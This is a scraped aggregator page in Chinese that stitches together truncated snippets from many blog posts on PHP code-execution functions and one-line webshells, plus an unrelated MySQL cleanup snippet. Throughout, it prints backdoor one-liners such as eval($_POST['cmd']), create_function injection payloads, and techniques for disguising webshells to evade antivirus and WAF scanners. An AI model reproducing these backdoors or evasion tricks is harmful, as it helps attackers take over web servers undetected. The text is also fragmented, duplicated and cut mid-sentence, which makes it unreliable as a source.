0x00 eval eval函数会将字符串作为PHP代码执行,如常见的一句话后门程序:php eval($_POST[cmd])?>, 属于基础内容本篇暂不讨论。...> 0x02 preg_replace函数 : php<=5.5 执行一个正则表达式的搜索和替换,函数在php5.5被弃用,在php7.0被移除。...单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义。 【示例代码】 php //?...返回新的函数名 问题一:未对要传入create_function中的代码做清理,执行的code拼接了可控变量的数据,导致可以将evil代码传入并被执行。...'; $newfunc = create_function('$name1',$str); 问题二: 用于函数函数回调,个人理解就是create_function内部会使用eval,将传入的字符串进行
目录 命令执行漏洞简介: 原因: 危害: PHP代码执行函数 1.eval 2.assert 3. preg_replace 4. array_map 5. create_function 6. call_user...进一步内网渗透 PHP代码执行函数 1.eval 在一些程序语言中,eval 是一个把字符串当作表达式执行而返回一个结果的函数;在另一些之中,它执行多行的代码就好像它们被包括在其中,而不是包括 eval...eval 的输入不一定是字符串;在支持句法抽象的语言(如 Lisp)中,eval 的输入将会由抽象句法形式组成。 例子 php @eval($_POST['cmd']) ; ?...> eval() 函数传入的参数必须为PHP代码,即要以分号结尾; 弊端:eval函数可以执行任意php代码 2.assert 断言函数,用于在调试过程中捕捉程序的错误。...> 5. create_function create_function(字符串args、字符串code):字符串 从传递的参数动态创建函数,并为其返回唯一名称。 <?
大家好,又见面了,我是你们的朋友全栈君。 ** php代码执行函数解析 ** 一、代码执行漏洞原理: 用户输入的数据被当做后端代码进行执行 php @eval($_REQUEST[8])?...>//其实一句话木马的本质就是一个代码执行漏洞。用户输入的数据被当做代码进行执行。 这里提一下RCE(remote command/code execute)远程命令或者代码执行。...为了方便把要执行的代码写为$a 1.eval($a); //eval是代码执行用的最多的,他可以多行执行 eval(\$_REQUEST['a']); 2.assert(a); //只能单行执行 assert...php \$a = $_REQUEST['a']; $f2 = create_function('',$a); $f2(); ?> 这里还可以不调用触发: <?...); Eval 是无法调用的,因为eval比较特殊,不认为是函数属于特殊写法 call_user_func() 也可以回调,回调函数在php有很多。
常见执行方法 eval eval():将字符串当做函数进行执行(需要传入一个完整的语句) demo: php eval('echo "hello";'); ?...php assert($_POST['a']);?> php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。 7.0之后的demo 其中基本可以传递任何内置的和用户自定义的函数, 除了语言结构:array、echo、empty、eval... call_user_fuc_array call_user_fuc_array():回调函数...> create_function create_function():创建匿名函数 string create_function(string $args,string $code) args是要创建的函数的参数...即将数组展开成参数的形式 用法: 1[]=phpinfo()&1[]=123&2[]=assert 大致过程: 大概过程就是,GET变量被展开成两个参数['phpinfo', '123']和assert
大清早的刚从床上爬起来。雨落就跑来找我问我这段代码是什么意思php @eval($_POST[pp]);?>看了一下,post接收pp的值,抑制错误输出。...其实这段代码属于基础类的一句话,功能仅限于验证漏洞了,实际中太容易被查出来了,也就是早上雨落直接带图说检测到木马文件 这个是PHP最常见的一句话木马的源码,通过post木马程序来实现木马的植入,eval...()函数把字符串按照PHP代码来计算 就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范 eval函数 eval() 函数把字符串按照 PHP 代码来执行 该字符串必须是合法的 PHP...eval函数的特殊用法 这就是二般人的用法了,一句话木马下面我们直接来看实例,新建一个php文件,写入如下代码 php @eval($_GET["cmd"]); ?...;这个路径,就会看到输出 查看PHP的信息:pathinfo() post提交同理,原理就是上面说的,将字符串按照 PHP 代码来执行了,这是最简单的一种PHP一句话木马程序代码,也感觉是最弱智的。
eval_php.png大清早的刚从床上爬起来。雨落就跑来找我问我这段代码是什么意思php @eval($_POST[pp]);?>看了一下,post接收pp的值,抑制错误输出。...其实这段代码属于基础类的一句话,功能仅限于验证漏洞了,实际中太容易被查出来了,也就是早上雨落直接带图说检测到木马文件 这个是PHP最常见的一句话木马的源码,通过post木马程序来实现木马的植入,eval...()函数把字符串按照PHP代码来计算 就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范 eval函数 eval() 函数把字符串按照 PHP 代码来执行 该字符串必须是合法的 PHP...eval函数的特殊用法 这就是二般人的用法了,一句话木马下面我们直接来看实例,新建一个php文件,写入如下代码 php @eval($_GET["cmd"]); ?...;这个路径,就会看到输出 eval_demo1.png 查看PHP的信息:pathinfo() eval_demo2.png post提交同理,原理就是上面说的,将字符串按照 PHP 代码来执行了,这是最简单的一种
php newfunc = create_function('a,b', 'return "ln(a) + ln(b) =". log(a * b);'); echo "New anonymous function...> 分析 create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。...create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。...> 代码分析:preg_match过滤要求$act参数不能只有数字字母和下划线 绕过过滤后动态执行函数,但已经设置了一个参数为空字符” 解决思路: 利用create_function()函数重写函数的特性闭合参数的括号...php lambda=create_function('a,b','echo "###a--b###"."
昨天帮一个朋友看了MySQL数据清理的问题,感觉比较有意思,具体的实施这位朋友还在做,已经差不多了,我就发出来大家一起参考借鉴下。...为了保证信息的敏感,里面的问题描述可能和真实情况不符,但是问题的处理方式是真实的。 首先这位朋友在昨天下午反馈说他有一个表大小是近600G,现在需要清理数据,只保留近几个月的数据。...如果是通用的思路和方法,我建议是使用冷热数据分离的方式。大体有下面的几类玩法: exchange partition,这是亮点的特性,可以把分区数据和表数据交换,效率还不错。...为了进一步验证,我让朋友查询一下这个表的数据量,早上的时候他发给了我最新的数据,一看更加验证了我的猜想。...按照这个思路来想,自己还有些成就感,发现这么大的一个问题症结,如果数据没有特别的存储,200万的数据其实也不算大,清理起来还是很容易的。
目前的防护软件对能够执行命令函数和能够执行代码的函数都会格外的敏感,如eavl、assert、system、popen、shell_exec,所以像最为简单的eval($_POST[cmd])的一句话就一定会被查杀...} $file_name=$_GET['id']; unserialize($file_name); 我们需要在本地构造序列化的数据。...最常见的回调函数的写法就是$ant=create_function("","eval($_POST[cmd]);");$ant();。...create_function的变形 基于create_function的变形是非常多的。...*|e', $_REQUEST['pass'], ''); 在PHP中这种动态函数是非常多的,除了上述说的create_function,preg_replace,还有诸如call_user_func
大家好,又见面了,我是你们的朋友全栈君。 一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。...php @eval($_POST['shell']);?> 这是php的一句话后门中最普遍的一种。它的工作原理是: 首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。...> 使用function自定义函数,然后函数来调用eval函数 create_function函数 php $fun = create_function('',$_POST['shell']); $fun(); ?...php $str="a=eval"; parse_str($str); $a($_POST['shell']); ?> 执行pares_str函数后可以生成一个名为$a,值为”eval”的变量。
Author: p0wd3r (知道创宇404安全实验室) 0x00 漏洞概述 1.漏洞简介 WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统,近日在github...在调用create_function时,我们通过}将原函数闭合,添加我们想要执行的内容后再使用/*将后面不必要的部分注释掉,最后即使我们没有调用创建好的函数,我们添加的新内容也依然被执行了。...之所以如此,是因为create_function内部使用了eval来执行代码,我们看PHP手册上的说明: ?...所以由于这个特性,如果我们可以控制create_function的$code参数,那就有了任意代码执行的可能。...我们payload中的)首先闭合了前面的(,然后;结束前面的语句,接着是我们的一句话木马,然后用/*将后面不必要的部分注释掉,通过这样,我们就将payload完整的传入了create_function,
目前的防护软件对能够执行命令函数和能够执行代码的函数都会格外的敏感,如eavl、assert、system、popen、shell_exec,所以像最为简单的eval($_POST[cmd])的一句话就一定会被查杀...id']; unserialize($file_name); 我们需要在本地构造序列化的数据。...最常见的回调函数的写法就是$ant=create_function("","eval($_POST[cmd]);");$ant();。...create_function的变形 基于create_function的变形是非常多的。...*|e', $_REQUEST['pass'], ''); 在PHP中这种动态函数是非常多的,除了上述说的create_function,preg_replace,还有诸如call_user_func
Code injection Part Example 1 这里使用双引号页面会抛出异常,异常信息中显示程序使用了eval()函数,也就是说这里可能存在代码执行漏洞 name=”.phpinfo();/.../ Example 2 这里可以看出程序对相关数据进行了排序,那么存在两种情况,有可能是使用order by数据库语句进行排序,也有可能是通过php的usort()函数进行排序,通过特殊字符报错报错显示程序使用了...usort()函数,usort()很多情况下会搭配create_function()动态生成一个函数,如果web应用程序缺乏有效的过滤和验证,这可能会导致代码执行。...order=name);}phpinfo();// Example 3 同样我们让程序进行报错,从报错信息中得知程序使用了preg_replace()函数,看见这个一定想到了被他所指定的preg_replace_eval...通过网络请求可以看着这里会有个302跳转,那么就直接使用nc、telnet、curl等进行单次请求 curl http://192.168.149.134/commandexec/example3.php
PHP代码入门 代码审计指的是对源代码进行检查,寻找代码中的bug和安全缺陷,这个是一项需要多方面技能的技术,所以我们需要掌握编程,漏洞原理,还要了解系统服务和中间件等。...小白代码审计的养成之路—思路 代码审计的思路也是我们需要去学习的 两大审计的基本方法 跟踪用户的输入数据,判断数据进入的每一个代码逻辑是否有可利用的点,此处的代码逻辑可以是一个函数,或者是条小小的条件判断语句...2.单入口模式的cms:MVC的开发出来的,所以我们要清楚mvc架构 挖掘漏洞方式 1、搜索一些获取用户输入数据的函数,来找到用户输入数据的源头,之后我们从这里为起点,跟踪数据的流向,分析在这整个过程中数据的处理情况...() eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:的参数数目应该和传递给 array_map() 函数的数组数目一致。 代码示例: php //?
万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。 那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。...php版本改作5.4后就可以执行了: ? 这个后门,狗和盾是都查不出来的: ? 同样的道理,这个也是功能类似: 和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的: <?...这几个单参数回调后门非常隐蔽,基本没特征,用起来很6. 0x07 数据库操作与第三方库中的回调后门 回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。...如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。 这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。
但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的: php $_POST['1']($_POST['2']); 那么就从eval和assert两个不同函数特性来具体说明 php5中的具体应用 首先很多同学认为可以这样执行 eval($_POST[2])...assert($POST['xian']) 而我们中国蚁剑也同时post了xian这个数据为%40ini_set之类的数据,而我们又必须清楚一点,我们的eval函数中参数是字符,assert函数中参数为表达式...数据为assert 数字1我们post数据为eval($_POST['nanjing']) 其本质还是assert(eval()),所以还是可以执行 这里再次强调一点,请牢记 eval函数中参数是字符,...PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法。
: eval Vbscript:Execute、Eval Python: exec 2、常用代码执行函数 (1)${}执行代码 中间的php代码将会被解析 php ${phpinfo()}; ?> (2)eval 将字符串当做函数进行执行 需要传入一个完整的语句 必须以分号 ; 结尾 最常用的函数 php eval('echo "hello";'); ?> (3)assert 判断是否为字符串 是则当成代码执行 在php7.0.29之后的版本不支持动态调用 低版本 (4)preg_replace 用来执行一个正则表达式的搜索和替换 执行代码需要使用/e修饰符 前提是不超过php7 mixed preg_replace ( mixed pattern, mixed...> (5)create_function 用来创建匿名函数 create_function(string $args,string $code) args是要创建的函数的参数 code是函数内的代码
: eval Vbscript:Execute、Eval Python: exec 2、常用代码执行函数 (1)${}执行代码 中间的php代码将会被解析 php ${phpinfo()}; ?> (2)eval 将字符串当做函数进行执行 需要传入一个完整的语句 必须以分号 ; 结尾 最常用的函数 php eval('echo "hello";'); ?> (3)assert 判断是否为字符串 是则当成代码执行 在php7.0.29之后的版本不支持动态调用 低版本 (5)create_function 用来创建匿名函数 create_function(string $args,string $code) args是要创建的函数的参数 code是函数内的代码...对PHP语言,不能完全控制的危险函数就不要用 结语 对命令执行漏洞和代码执行漏洞做了个归纳 ---- 红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。
它适用于各类ASP和PHP编写的程序,在目前网站日益猖狂的挂马、入侵情况下,护卫神可以彻底解决用户所面临的众多安全难题,为网络安全保驾护航。...它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。...免杀实战—小马免杀 引用免杀 因为D盾、安全狗、护卫神会对关键字eval中的执行变量进行溯源,当追溯到要执行的变量为一个通过POST接收的可疑数据时就会显示可疑木马,为了躲避这种溯源方式,可以通过多次使用...经过分析发现被查杀的原因是eval函数执行了一个解密后的内容,为了躲避查杀,这里可以通过将解密后的内容赋值给一个变量,之后通过使用反引号拼接变量然后再让eval去执行的方式躲避查杀,具体实现如下所示:...Create_function免杀 在免杀的过程中,发现了一个PHP的内置函数Create_function,它主要用于创建一个函数,这里可以使用它来进行免杀,但是由于D盾、安全狗有关键词查杀所以这里需要对
在某些老的框架或者cms中还在应用这个函数 , 建议是换成普通的原生匿名函数 官方文档的解释: 此函数在内部执行eval(),因此具有与eval()相同的安全性问题。...此外,它还具有不良的性能和内存使用特性。 如果您使用的是PHP 5.3.0或更高版本,则应使用原生匿名函数。...例如下面的代码 , 有见到用create_function做的 , 换成下面这样 echo preg_replace_callback('~-([a-z])~', function ($match) {...return strtoupper($match[1]); }, 'hello-world'); // 输出 helloWorld 匿名函数的一些解释和用法: 匿名函数(Anonymous functions...最经常用作回调函数(callback)参数的值。当然,也有其它应用的情况。 匿名函数目前是通过 Closure 类来实现的。 从父作用域中继承变量。
领取专属 10元无门槛券
手把手带您无忧上云